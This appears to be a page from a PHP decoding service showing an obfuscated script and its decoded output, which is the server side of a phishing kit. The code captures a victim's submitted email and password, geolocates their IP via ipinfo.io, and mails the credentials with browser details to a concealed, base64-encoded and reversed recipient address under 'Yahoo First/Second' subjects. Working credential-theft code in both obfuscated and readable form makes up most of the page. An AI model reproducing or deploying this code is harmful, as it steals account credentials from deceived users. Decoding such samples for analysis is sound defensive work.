Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4cO\x42\x41LS"}["t\x61j\x6aq\x66\x73\x73"]="\x64a\x74\x61";${"\x47\x4c\x4f\x42..

Decoded Output download

<?php ${"GLOBALS"}["tajjqfss"]="data";${"GLOBALS"}["jhnztjmvde"]="mymsg";${"GLOBALS"}["nevrlbjo"]="whmusername";${"GLOBALS"}["cczndrbw"]="theemail";${"GLOBALS"}["stfnrrbh"]="ip";$lbckyeohpd="details";${"GLOBALS"}["xywwkdxjn"]="browser";error_reporting(0);${${"GLOBALS"}["stfnrrbh"]}=getenv("REMOTE_ADDR");${$lbckyeohpd}=json_decode(file_get_contents("http://ipinfo.io/{$ip}"));${${"GLOBALS"}["xywwkdxjn"]}=$_SERVER["HTTP_USER_AGENT"];${${"GLOBALS"}["cczndrbw"]}=base64_decode(strrev("==QbvNmLslWYt52b09mcwBUbpN3ZuVXegwSbvNmLslWYtdGQuFWbyVWdlZmLtl2c"));if(filter_var($_POST["myemail"],FILTER_VALIDATE_EMAIL)){${"GLOBALS"}["pwdyckssnql"]="whmpassword";$pdqhcoby="data";${"GLOBALS"}["jdffnc"]="fin";${$pdqhcoby}=array();${${"GLOBALS"}["nevrlbjo"]}=$_POST["myemail"];${"GLOBALS"}["emabljvlsi"]="data";${"GLOBALS"}["kgsjofvhb"]="fin";${${"GLOBALS"}["pwdyckssnql"]}=$_POST["mypassword"];${${"GLOBALS"}["kgsjofvhb"]}=$_POST["mymanual"];${${"GLOBALS"}["jhnztjmvde"]}="Login: $whmusername
Password: $whmpassword
IP Address: $ip
City: {$details->city}
Region: {$details->region}
Country: {$details->country} 

Browser: $browser;";${${"GLOBALS"}["emabljvlsi"]}["success"]=true;if(${${"GLOBALS"}["jdffnc"]}==1){${"GLOBALS"}["gveepwqnu"]="theemail";mail(${${"GLOBALS"}["gveepwqnu"]},"Yahoo First",${${"GLOBALS"}["jhnztjmvde"]});${${"GLOBALS"}["tajjqfss"]}["message"]="truelog";}else{${"GLOBALS"}["ujrmewhv"]="data";${"GLOBALS"}["hmmeqhn"]="theemail";mail(${${"GLOBALS"}["hmmeqhn"]},"Yahoo Second",${${"GLOBALS"}["jhnztjmvde"]});${${"GLOBALS"}["ujrmewhv"]}["message"]="failedme";}}else{echo".:|:.";die();}header("Content-Type: application/json");$awkoypsqk="data";header("Access-Control-Allow-Origin: *");echo json_encode(${$awkoypsqk}); 
?>

Did this file decode correctly?

Original Code

<?php ${"G\x4cO\x42\x41LS"}["t\x61j\x6aq\x66\x73\x73"]="\x64a\x74\x61";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6ah\x6e\x7at\x6a\x6dv\x64\x65"]="\x6dy\x6dsg";${"GL\x4f\x42\x41LS"}["ne\x76r\x6c\x62j\x6f"]="\x77\x68m\x75\x73er\x6ea\x6d\x65";${"\x47\x4cO\x42\x41L\x53"}["\x63c\x7a\x6e\x64\x72\x62w"]="t\x68\x65\x65\x6d\x61\x69\x6c";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x74f\x6e\x72\x72\x62\x68"]="ip";$lbckyeohpd="details";${"GL\x4fB\x41\x4c\x53"}["x\x79w\x77\x6bdx\x6a\x6e"]="\x62\x72o\x77se\x72";error_reporting(0);${${"\x47\x4c\x4fB\x41L\x53"}["\x73t\x66nr\x72\x62\x68"]}=getenv("\x52\x45M\x4f\x54E_AD\x44\x52");${$lbckyeohpd}=json_decode(file_get_contents("h\x74\x74p://ipinf\x6f.\x69\x6f/{$ip}"));${${"GL\x4f\x42\x41\x4cS"}["\x78yww\x6b\x64\x78j\x6e"]}=$_SERVER["H\x54\x54P_\x55\x53\x45\x52_AGE\x4e\x54"];${${"\x47\x4cO\x42\x41\x4cS"}["c\x63\x7a\x6e\x64\x72\x62w"]}=base64_decode(strrev("\x3d\x3dQ\x62\x76\x4e\x6dLslW\x59\x7452\x62\x309\x6d\x63\x77BUbpN\x33Z\x75\x56\x58e\x67wS\x62vNmLslW\x59\x74\x64\x47Q\x75FW\x62\x79V\x57\x64\x6c\x5am\x4ct\x6c\x32\x63"));if(filter_var($_POST["\x6d\x79\x65\x6dail"],FILTER_VALIDATE_EMAIL)){${"\x47\x4c\x4f\x42AL\x53"}["\x70\x77d\x79\x63k\x73\x73\x6e\x71\x6c"]="\x77\x68\x6d\x70\x61\x73\x73\x77\x6f\x72\x64";$pdqhcoby="\x64a\x74\x61";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6adf\x66nc"]="\x66i\x6e";${$pdqhcoby}=array();${${"G\x4c\x4fB\x41\x4cS"}["\x6eev\x72\x6cb\x6ao"]}=$_POST["\x6dy\x65\x6d\x61\x69l"];${"\x47LO\x42\x41\x4c\x53"}["e\x6d\x61b\x6cj\x76\x6c\x73\x69"]="\x64\x61t\x61";${"G\x4c\x4fB\x41\x4cS"}["\x6bg\x73j\x6ffv\x68\x62"]="\x66\x69\x6e";${${"\x47\x4cO\x42\x41\x4cS"}["p\x77\x64y\x63k\x73\x73\x6eq\x6c"]}=$_POST["my\x70a\x73\x73\x77\x6frd"];${${"GLO\x42\x41L\x53"}["k\x67\x73j\x6f\x66\x76\x68\x62"]}=$_POST["m\x79m\x61\x6e\x75\x61\x6c"];${${"\x47\x4cO\x42A\x4c\x53"}["j\x68n\x7a\x74\x6amv\x64e"]}="\x4c\x6fg\x69n:\x20$whmusername\n\x50\x61s\x73\x77\x6frd: $whmpassword\n\x49P A\x64\x64r\x65s\x73:\x20$ip\n\x43i\x74y: {$details->city}\nRegio\x6e: {$details->region}\n\x43\x6fu\x6e\x74\x72y: {$details->country}\x20\n\nBro\x77\x73\x65r:\x20$browser;";${${"G\x4c\x4fBALS"}["\x65\x6da\x62\x6c\x6av\x6cs\x69"]}["s\x75\x63\x63\x65ss"]=true;if(${${"G\x4c\x4f\x42\x41L\x53"}["\x6a\x64\x66fnc"]}==1){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x76e\x65\x70w\x71nu"]="\x74h\x65e\x6d\x61\x69\x6c";mail(${${"G\x4c\x4f\x42A\x4c\x53"}["gv\x65\x65\x70\x77\x71n\x75"]},"\x59\x61ho\x6f \x46\x69rs\x74",${${"\x47LO\x42\x41\x4c\x53"}["\x6ahnztj\x6d\x76de"]});${${"GL\x4f\x42\x41\x4cS"}["\x74a\x6aj\x71\x66\x73\x73"]}["\x6de\x73sa\x67\x65"]="t\x72\x75elo\x67";}else{${"\x47LOBALS"}["\x75\x6ar\x6de\x77hv"]="d\x61t\x61";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68\x6dm\x65q\x68\x6e"]="\x74\x68eema\x69\x6c";mail(${${"\x47L\x4fB\x41L\x53"}["\x68m\x6d\x65\x71\x68\x6e"]},"\x59a\x68oo S\x65\x63\x6f\x6e\x64",${${"\x47\x4c\x4f\x42A\x4c\x53"}["j\x68\x6e\x7a\x74\x6a\x6dvd\x65"]});${${"\x47LO\x42\x41L\x53"}["\x75jr\x6d\x65\x77\x68\x76"]}["\x6dess\x61\x67\x65"]="f\x61i\x6ced\x6d\x65";}}else{echo".:|:.";die();}header("C\x6fnt\x65\x6e\x74-Ty\x70\x65:\x20\x61\x70pl\x69cat\x69\x6f\x6e/\x6a\x73o\x6e");$awkoypsqk="da\x74\x61";header("\x41\x63ces\x73-\x43\x6f\x6et\x72o\x6c-Al\x6c\x6fw-\x4f\x72i\x67i\x6e:\x20*");echo json_encode(${$awkoypsqk});
?>

Function Calls

getenv 1
error_reporting 1

Variables

GLOBALS [{'key': 'tajjqfss', 'value': 'data'}, {'key': 'jhnztjmvde', 'value': 'mymsg'}, {'key': 'nevrlbjo', 'value': 'whmusername'}, {'key': 'cczndrbw', 'value': 'theemail'}, {'key': 'stfnrrbh', 'value': 'ip'}, {'key': 'xywwkdxjn', 'value': 'browser'}]
$lbckyeohpd details

Stats

MD5 91ca8352ddf912767c97d95091b75bd5
Eval Count 0
Decode Time 55 ms